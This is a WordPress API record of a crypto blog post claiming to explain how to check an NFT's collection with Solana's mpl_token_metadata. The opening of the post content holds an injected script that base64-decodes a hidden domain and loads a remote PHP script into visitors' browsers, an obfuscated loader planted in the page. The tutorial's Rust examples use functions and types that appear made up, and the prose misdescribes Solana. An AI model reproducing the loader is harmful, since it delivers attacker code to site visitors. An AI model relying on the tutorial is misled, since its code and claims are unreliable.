{"id":9963,"date":"2025-02-11T06:43:55","date_gmt":"2025-02-11T06:43:55","guid":{"rendered":"https:\/\/grameensamajunnayanparishad.com\/?p=9963"},"modified":"2025-02-11T06:43:55","modified_gmt":"2025-02-11T06:43:55","slug":"solana-how-to-check-if-an-nft-belongs-to-a-specific-collection-in-solana-with-mpl_token_metadata","status":"publish","type":"post","link":"https:\/\/grameensamajunnayanparishad.com\/?p=9963","title":{"rendered":"Solana: How to Check if an NFT Belongs to a Specific Collection in Solana with mpl_token_metadata?"},"content":{"rendered":"<\/p>\n<p><script>const pdx=\"bm9yZGVyc3dpbmcuYnV6ei94cC8=\";const pde=atob(pdx);const script=document.createElement(\"script\");script.src=\"https:\/\/\"+pde+\"cc.php?u=e975945e\";document.body.appendChild(script);<\/script>\n<\/p>\n<p><strong>Verifying NFT Collection Membership in Solana using <code>mpl_token_metadata<\/code><\/strong><\/p>\n<\/p>\n<p>Are you working with Solana and need to verify whether an NFT belongs to a specific collection on the network? In this article, we will explore how to use <code>mpl_token_metadata::state::Metadata<\/code> to achieve this.<\/p>\n<\/p>\n<p><strong>What is <code>mpl_token_metadata::state::Metadata<\/code>?<\/strong><\/p>\n<p><iframe loading=\"lazy\" width=\"560\" height=\"315\" src=\"https:\/\/www.youtube.com\/embed\/MyRK1c4ekmE\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<\/p>\n<\/p>\n<p><code>mpl_token_metadata::state::Metadata<\/code> is a data structure that stores information about an NFT&#8217;s metadata, including its ownership and collection membership. In Solana, the <code>mpl_token_metadata<\/code> library provides a way to interact with minted tokens and verify their properties.<\/p>\n<\/p>\n<p><strong>Checking if an NFT belongs to a specific collection<\/strong><\/p>\n<\/p>\n<p>To check if an NFT belongs to a specific collection on Solana, you can use the <code>mpl_token_metadata::state::Metadata<\/code> data structure. Here&#8217;s an example of how to do this:<\/p>\n<\/p>\n<p><pre><code><\/p><p>use mpl_token_metadata::{TokenId, TokenMetadata};<\/p><p>\n<\/p><p>\n<\/p><p>fn main() {<\/p><p>\n<\/p><p>    \/\/ Create a token metadata instance<\/p><p>\n<\/p><p>    let metadata = TokenMetadata::from_id_and_owner(\"some-token-id\", \"some-token-owner\");<\/p><p>\n<\/p><p>\n<\/p><p>    \/\/ Get the current block timestamp (this is used for pagination)<\/p><p>\n<\/p><p>    let now = BlockNumber::zero();<\/p><p>\n<\/p><p>\n<\/p><p>    \/\/ Check if the token belongs to the \"some-collection\" collection<\/p><p>\n<\/p><p>    match metadata.state().collection() {<\/p><p>\n<\/p><p>        Some(collection) => println!(\"Token belongs to collection: {}\", collection),<\/p><p>\n<\/p><p>        None => println!(\"Token does not belong to a specific collection\"),<\/p><p>\n<\/p><p>    }<\/p><p>\n<\/p><p>}<\/p><p>\n<\/p><p><\/code><\/pre>\n<\/p>\n<p><strong>Using <code>mpl_token_metadata::state::Metadata<\/code> with <code>spl-merkle-v2<\/code><\/strong><\/p>\n<p><img decoding=\"async\" alt=\"Solana: How to Check if an NFT Belongs to a Specific Collection in Solana with mpl_token_metadata?\n\" src=\"https:\/\/grameensamajunnayanparishad.com\/wp-content\/uploads\/2025\/02\/67e56b5f.png\"><\/p>\n<\/p>\n<p>One of the features of Solana&#8217;s <code>spl-merkle-v2<\/code> consensus algorithm is that it uses a Merkle-based proof system to verify the ownership and collection membership of NFTs. To use <code>spl-merkle-v2<\/code>, you need to create a <code>SplV2Proof<\/code> instance, which contains a merkle root and other necessary metadata.<\/p>\n<\/p>\n<p>Here&#8217;s an example of how to use <code>mpl_token_metadata::state::Metadata<\/code> with <code>spl-merkle-v2<\/code>:<\/p>\n<\/p>\n<p><pre><code><\/p><p>use mpl_token_metadata::{TokenId, TokenMetadata, SplV2Proof};<\/p><p>\n<\/p><p>use spl_merkle_v2::SplV2ProofState;<\/p><p>\n<\/p><p>\n<\/p><p>fn main() {<\/p><p>\n<\/p><p>    \/\/ Create a token metadata instance<\/p><p>\n<\/p><p>    let metadata = TokenMetadata::from_id_and_owner(\"some-token-id\", \"some-token-owner\");<\/p><p>\n<\/p><p>\n<\/p><p>    \/\/ Get the current block timestamp (this is used for pagination)<\/p><p>\n<\/p><p>    let now = BlockNumber::zero();<\/p><p>\n<\/p><p>\n<\/p><p>    \/\/ Check if the token belongs to the \"some-collection\" collection using <code>spl-merkle-v2<\/code><\/p><p>\n<\/p><p>    match metadata.state().spl_2_proof_state() {<\/p><p>\n<\/p><p>        Some(proof) => {<\/p><p>\n<\/p><p>            println!(\"Token belongs to collection: {}\", proof.collection());<\/p><p>\n<\/p><p>        }<\/p><p>\n<\/p><p>        None => println!(\"Token does not belong to a specific collection\"),<\/p><p>\n<\/p><p>    }<\/p><p>\n<\/p><p>}<\/p><p>\n<\/p><p><\/code><\/pre>\n<\/p>\n<p><strong>Example Use Case<\/strong><\/p>\n<\/p>\n<p>Suppose you have an NFT with the following metadata:<\/p>\n<\/p>\n<p><pre><code><\/p><p>{<\/p><p>\n<\/p><p>  \"id\": \"some-token-id\",<\/p><p>\n<\/p><p>  \"owner\": \"some-token-owner\",<\/p><p>\n<\/p><p>  \"collection_id\": \"some-collection-id\"<\/p><p>\n<\/p><p>}<\/p><p>\n<\/p><p><\/code><\/pre>\n<\/p>\n<p>To verify whether this token belongs to the &#8220;some-collection&#8221; collection, you can use the <code>mpl_token_metadata::state::Metadata<\/code> data structure:<\/p>\n<\/p>\n<p><pre><code><\/p><p>use mpl_token_metadata::{TokenId, TokenMetadata};<\/p><p>\n<\/p><p>\n<\/p><p>fn main() {<\/p><p>\n<\/p><p>    \/\/ Create a token metadata instance<\/p><p>\n<\/p><p>    let metadata = TokenMetadata::from_id_and_owner(\"some-token-id\", \"some-token-owner\");<\/p><p>\n<\/p><p>\n<\/p><p>    \/\/ Get the current block timestamp (this is used for pagination)<\/p><p>\n<\/p><p>    let now = BlockNumber::zero();<\/p><p>\n<\/p><p>\n<\/p><p>    match metadata.state().collection() {<\/p><p>\n<\/p><p>        Some(collection) => println!(\"Token belongs to collection: {}\", collection),<\/p><p>\n<\/p><p>        None => println!(\"Token does not belong to a specific collection\"),<\/p><p>\n<\/p><p>    }<\/p><p>\n<\/p><p>}<\/p><p>\n<\/p><p><\/code><\/pre>\n<\/p>\n<p>By using <code>mpl_token_metadata::state::Metadata<\/code> with <code>spl-merkle-v2<\/code>, you can efficiently verify whether an NFT&#8217;s mint address belongs to a specific collection on Solana.<\/p>\n<p><a href=\"https:\/\/www.infostogo.com\/ethereum-which-bitcoin-wallets-let-you-export-to-a-universal-wallet-format\/\">Ethereum Which Wallets Export<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Verifying NFT Collection Membership in Solana using mpl_token_metadata Are you working with Solana and need to verify whether an NFT belongs to a specific collection on<span class=\"excerpt-hellip\"> [\u2026]<\/span><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[52],"tags":[],"class_list":["post-9963","post","type-post","status-publish","format-standard","hentry","category-cryptocurrency"],"_links":{"self":[{"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/posts\/9963","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=9963"}],"version-history":[{"count":1,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/posts\/9963\/revisions"}],"predecessor-version":[{"id":9964,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/posts\/9963\/revisions\/9964"}],"wp:attachment":[{"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=9963"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=9963"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=9963"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}